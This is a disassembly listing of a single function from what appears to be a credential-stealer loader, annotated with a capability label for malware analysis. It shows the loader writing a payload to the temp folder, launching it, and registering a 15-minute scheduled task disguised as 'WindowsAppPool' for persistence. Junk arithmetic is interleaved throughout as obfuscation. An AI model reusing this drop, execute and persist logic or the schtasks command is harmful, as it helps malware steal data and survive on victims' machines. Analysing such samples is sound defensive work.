Function at 0x416010
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx eax, word [0x4259e0]
sub esp, 0x8c
add eax, 0x129f25b7
mov edx, str.loader
mov dword [0x4259f0], eax
push ebx
push ebp
push esi
push edi
call fcn.004180b5
movzx ecx, byte [0x4259ec]
mov ebx, eax
imul ecx, ecx, 0x65
mov byte [0x4259ef], cl
mov ecx, 0xe8ce
xor cx, word [0x4259e0]
mov word [0x4259ec], cx
test ebx, ebx
je 0x4168f0
mov ecx, dword [0x4259f4]
push 0x1000
lea eax, [ecx - 0x23f4]
xor eax, 0x614b
mov word [0x4259d4], ax
movzx eax, cl
or ecx, 0x83803b36
imul eax, eax, 0x99
mov dword [0x4259f4], ecx
mov byte [0x4259ef], al
call fcn.0040570b
pop ecx
movzx ecx, byte [0x4259ef]
mov edi, eax
mov eax, 0xe1d9
xor cx, ax
movzx edx, cx
mov word [0x4259d4], cx
test edi, edi
je 0x4168d8
movzx ecx, word [0x4259ec]
mov eax, 0x63f9
and dword [esp + 0x14], 0
add edx, 0x3c293ea5
imul ecx, eax
mov dword [0x4259f4], edx
mov word [0x4259ec], cx
mov cx, word [0x4259e0]
movzx eax, cx
xor cl, 0x53
or eax, 0xb4fe58dc
add cl, 0x49
mov dword [0x4259dc], eax
lea eax, [esp + 0x14]
push eax
push 0x422ef8
push ebx
mov byte [0x4259ef], cl
call fcn.00405d9c
mov dx, word [0x4259d4]
mov esi, eax
mov eax, 0x86d9
add esp, 0xc
and dx, ax
test esi, esi
je 0x4168c1
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x4259f4]
mov eax, 0x8c45
or ecx, 0xde27a0f2
or ax, dx
mov word [0x4259d4], ax
mov dword [0x4259dc], ecx
push str.Theres_file_to_load._Gonna_load_it_n
lea eax, [ecx + 0x3297]
and ecx, 0x3855
mov word [0x4259e0], ax
mov word [0x4259ec], cx
call fcn.004115bb
mov cx, word [0x4259ec]
mov eax, 0x6b32
and dword [esp + 0x14], 0
xor cx, ax
movzx eax, cx
sub eax, 0x75b1237a
mov dword [esp], 0x422f24
mov dword [0x4259f0], eax
mov eax, dword [0x4259f4]
add eax, 0x3b50
mov word [0x4259e0], cx
mov word [0x4259d4], ax
movzx eax, cl
imul eax, eax, 0xdf
push esi
mov byte [0x4259ef], al
call fcn.00405c00
pop ecx
pop ecx
test eax, eax
je 0x41621d
mov eax, 0x4ccf
mov ecx, esi
xor word [0x4259ec], ax
movzx eax, byte [0x4259ef]
and eax, 0x9b8e232a
mov dword [0x4259dc], eax
movzx eax, word [0x4259d4]
xor eax, 0x86174bb0
mov dword [0x4259f4], eax
imul eax, eax, 0x3bb1
mov word [0x4259e0], ax
call fcn.0041c0b8
mov dword [esp + 0x10], eax
jmp 0x416221
mov eax, dword [esp + 0x10]
imul ecx, dword [0x4259f4], 0x33365f37
push eax
push str.Command_line:__ls_n
mov dword [0x4259f4], ecx
mov ecx, 0x178b
or cx, word [0x4259ec]
mov word [0x4259d4], cx
call fcn.004115bb
movzx eax, byte [0x4259ef]
mov ecx, 0xec41
sub dword [0x4259dc], 0x78ef23cc
and ax, cx
add dword [0x4259f0], 0x33685141
mov ecx, 0xc67f
xor word [0x4259d4], cx
mov word [0x4259e0], ax
movzx eax, al
imul eax, eax, 0xd0
mov byte [0x4259ef], al
lea eax, [esp + 0x1c]
push eax
push 0x422ef8
push 0
call fcn.00405d9c
mov edx, dword [0x4259f4]
add esp, 0x14
mov cl, byte [0x4259d4]
imul esi, edx, 0x41b71830
add cl, 0x5f
cmp byte [eax], 0x31
mov byte [0x4259ef], cl
mov dword [0x4259dc], esi
jne 0x4162da
mov edx, esi
and edx, 0xef7b64bd
mov dword [0x4259f4], edx
lea eax, [esi - 0x65dc7f58]
and edx, 0x1f65
mov dword [0x4259f0], eax
lea eax, [esp + 0x14]
push eax
push 0x422ef8
push 0
mov word [0x4259e0], dx
call fcn.00405d9c
imul ecx, dword [0x4259f4], 0xcf6d05f9
add esp, 0xc
mov esi, eax
lea eax, [esp + 0x1c]
push eax
mov dword [0x4259f0], ecx
push esi
lea edx, [ecx - 0x7585308e]
movzx ecx, word [0x4259ec]
xor ecx, 0x9875f334
mov dword [0x4259dc], edx
mov dword [0x4259f4], ecx
imul ecx, edx, 0xa7fe
mov word [0x4259d4], cx
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
pop ecx
movzx ecx, word [0x4259ec]
imul edx, ecx, 0x978d54b4
mov ecx, dword [0x4259f0]
add ecx, 0xffffad48
mov dword [esp + 0x18], eax
mov word [0x4259ec], cx
mov dword [0x4259dc], edx
test eax, eax
je 0x416860
imul eax, edx, 0xeda4b885
xor ecx, ecx
or edx, 0x8142
inc ecx
push 0x800
push edi
push str.temp
mov dword [0x4259f0], eax
mov eax, 0xe4a7
xor ax, word [0x4259d4]
mov word [0x4259ec], ax
mov eax, dword [0x4259f4]
mov word [0x4259d4], dx
add eax, 0xffffa579
mov edx, 0x1a52823b
mov word [0x4259e0], ax
call fcn.0041287b
call eax
test eax, eax
je 0x41682a
movzx ecx, word [0x4259d4]
mov eax, 0x127f
imul ecx, eax
movzx eax, word [0x4259e0]
and eax, 0x4cf28767
push 0xf
mov word [0x4259d4], cx
mov ecx, dword [0x4259dc]
mov edx, ecx
mov dword [0x4259dc], eax
xor cl, 0x2a
movzx eax, cl
and edx, 0x25c6
imul eax, eax, 0x43
lea ecx, [esp + 0x7c]
xor edx, 0x56d7
mov word [0x4259ec], dx
mov byte [0x4259ef], al
movzx eax, dx
xor eax, 0xc1932fac
pop edx
mov dword [0x4259f0], eax
call fcn.0041bffe
movzx eax, word [0x4259ec]
add dword [0x4259f4], 0x788ef2b1
or eax, 0x2c86ae05
push 0x422f48
push edi
mov dword [0x4259f0], eax
call fcn.00405bcb
mov eax, 0x2d27
add ax, word [0x4259e0]
mov word [0x4259ec], ax
mov al, byte [0x4259f0]
or al, 0x3f
mov byte [0x4259ef], al
mov eax, dword [0x4259f4]
and eax, 0xc19fa933
mov dword [0x4259f0], eax
lea eax, [esp + 0x80]
push eax
push edi
call fcn.00405bcb
movzx eax, word [0x4259e0]
xor eax, 0x3f388ebd
push 0x422f4c
push edi
mov dword [0x4259f4], eax
call fcn.00405bcb
mov eax, dword [0x4259dc]
mov cl, al
push dword [esp + 0x34]
mov edx, dword [esp + 0x34]
add eax, 0x1da1
or cl, 0xb8
mov word [0x4259d4], ax
movzx eax, cl
mov byte [0x4259ef], cl
add eax, 0x365ead05
mov ecx, edi
mov dword [0x4259f0], eax
call fcn.0041c04e
add esp, 0x1c
test al, al
je 0x4167eb
mov ecx, dword [0x4259f0]
imul eax, ecx, 0xe3d2f0cd
and ecx, 0xfc588182
mov dword [0x4259f4], ecx
mov ecx, 0x874f
push edi
push str.Write_file_content_in__ls_n
mov dword [0x4259dc], eax
movzx eax, byte [0x4259ef]
or ax, cx
mov word [0x4259d4], ax
call fcn.004115bb
push 0x40
xor esi, esi
mov dword [esp + 0x3c], 0x44
lea eax, [esp + 0x40]
push esi
push eax
call fcn.00403960
mov eax, dword [0x4259f0]
add esp, 0x14
xor eax, 0xc8e6
xor ecx, ecx
mov word [0x4259e0], ax
mov edx, 0x322e7433
xor eax, eax
inc ecx
mov word [esp + 0x60], ax
mov eax, dword [0x4259f4]
add eax, 0xfffff31d
mov word [0x4259ec], ax
movzx eax, ax
xor eax, 0x2b942989
mov dword [0x4259dc], eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push dword [esp + 0x30]
push edi
call fcn.0041287b
call eax
test eax, eax
je 0x4167aa
mov eax, dword [0x4259f0]
mov ecx, 0x8e1e
or eax, 0xb02b
mov word [0x4259d4], ax
movzx eax, word [0x4259e0]
and eax, 0x22a677bf
mov dword [0x4259f4], eax
add eax, 0x4850
mov word [0x4259ec], ax
movzx eax, byte [0x4259ef]
and ax, cx
push str.Successfully_start_process_n
mov word [0x4259e0], ax
call fcn.004115bb
pop ecx
movzx ecx, word [0x4259d4]
mov eax, 0xd05c
imul ecx, eax
lea eax, [esp + 0x78]
push eax
push edi
push str._c_schtasks__create__F__sc_minute__mo_15__tr___ls___tn__WindowsAppPool_ls_
mov word [0x4259e0], cx
call fcn.0041c210
movzx ecx, word [0x4259ec]
mov esi, eax
mov edx, dword [0x4259f4]
xor ecx, 0x7ec16537
mov dword [0x4259f0], ecx
add esp, 0xc
lea ecx, [edx + 0x6a4f]
mov word [0x4259ec], cx
test esi, esi
je 0x41682a
movzx eax, word [0x4259e0]
xor dl, 2
and eax, 0x18da8677
mov byte [0x4259ef], dl
push 0x800
mov dword [0x4259f0], eax
xor ecx, ecx
or eax, 0xdd83
mov edx, 0x1a52823b
push edi
push str.ComSpec
inc ecx
mov word [0x4259d4], ax
call fcn.0041287b
call eax
test eax, eax
je 0x416783
mov eax, 0x16e8
add word [0x4259e0], ax
mov al, byte [0x4259f4]
add al, 0x22
mov byte [0x4259ef], al
mov eax, dword [0x4259dc]
add eax, 0x67
push 0x44
mov word [0x4259ec], ax
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00403960
mov ecx, dword [0x4259f0]
add esp, 0xc
mov al, cl
mov dword [esp + 0x30], 0x44
xor al, 0x71
and ecx, 0x3ae34ef6
mov byte [0x4259ef], al
mov edx, 0x322e7433
movzx eax, word [0x4259ec]
sub eax, 0x26f29dac
mov dword [0x4259f0], ecx
mov dword [0x4259dc], eax
xor ecx, ecx
xor eax, eax
inc ecx
mov word [esp + 0x60], ax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push edi
call fcn.0041287b
call eax
test eax, eax
jne 0x416783
movzx ecx, word [0x4259dc]
mov eax, ecx
xor eax, 0xee9c
mov word [0x4259ec], ax
lea eax, [ecx - 0x393f]
mov word [0x4259d4], ax
call ebp
push eax
push str.Cant_add_task_in_task_scheduler__CreateProcessW_fails__last_error:__x_n
call fcn.004115bb
pop ecx
pop ecx
mov eax, dword [0x4259f4]
add eax, 0x701d18a0
mov dword [0x4259f4], eax
imul eax, eax, 0xc3d4
push esi
mov word [0x4259ec], ax
call fcn.004056f0
pop ecx
jmp 0x41682a
movzx eax, word [0x4259ec]
mov ecx, 0x80fd
add dword [0x4259dc], 0x65ed3e95
and eax, 0x550abd81
mov dword [0x4259f4], eax
movzx eax, byte [0x4259ef]
and ax, cx
mov word [0x4259e0], ax
call ebp
push eax
push str.Cant_start_process__last_error:__x_n
push str.Loader::SrartLoader
push 0x4d
jmp 0x41681d
mov ax, word [0x4259ec]
mov ecx, 0xada6
and ax, cx
mov word [0x4259d4], ax
imul eax, dword [0x4259dc], 0xf91c00ce
mov dword [0x4259dc], eax
call ebp
push eax
push str.Cant_write_file__last_error:__x_n
push str.Loader::SrartLoader
push 0x51
push str..._stealerloader.cpp
call fcn.0041176c
add esp, 0x14
mov al, byte [0x4259f4]
push dword [esp + 0x18]
xor al, 0x78
mov byte [0x4259ef], al
movzx eax, word [0x4259d4]
sub eax, 0x3d302878
mov dword [0x4259dc], eax
mov eax, dword [0x4259f0]
add eax, 0xf5024ab8
mov dword [0x4259f4], eax
call fcn.004056f0
pop ecx
mov ax, word [0x4259e0]
mov ecx, 0xfbc3
push dword [esp + 0x10]
and ax, cx
mov word [0x4259d4], ax
call fcn.004056f0
pop ecx
mov ecx, dword [0x4259f4]
imul eax, ecx, 0x2f7fdf05
add ecx, 0x67aa502e
mov dword [0x4259f4], ecx
mov dword [0x4259f0], eax
lea eax, [esp + 0x14]
push eax
push 0x422ef8
push 0
call fcn.00405d9c
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4168c1
mov dx, word [0x4259ec]
jmp 0x41613a
mov eax, dword [0x4259f4]
add eax, 0x72be
push edi
mov word [0x4259ec], ax
call fcn.004056f0
pop ecx
movzx eax, word [0x4259e0]
add eax, 0x4a889e5f
push ebx
mov dword [0x4259f0], eax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8c
ret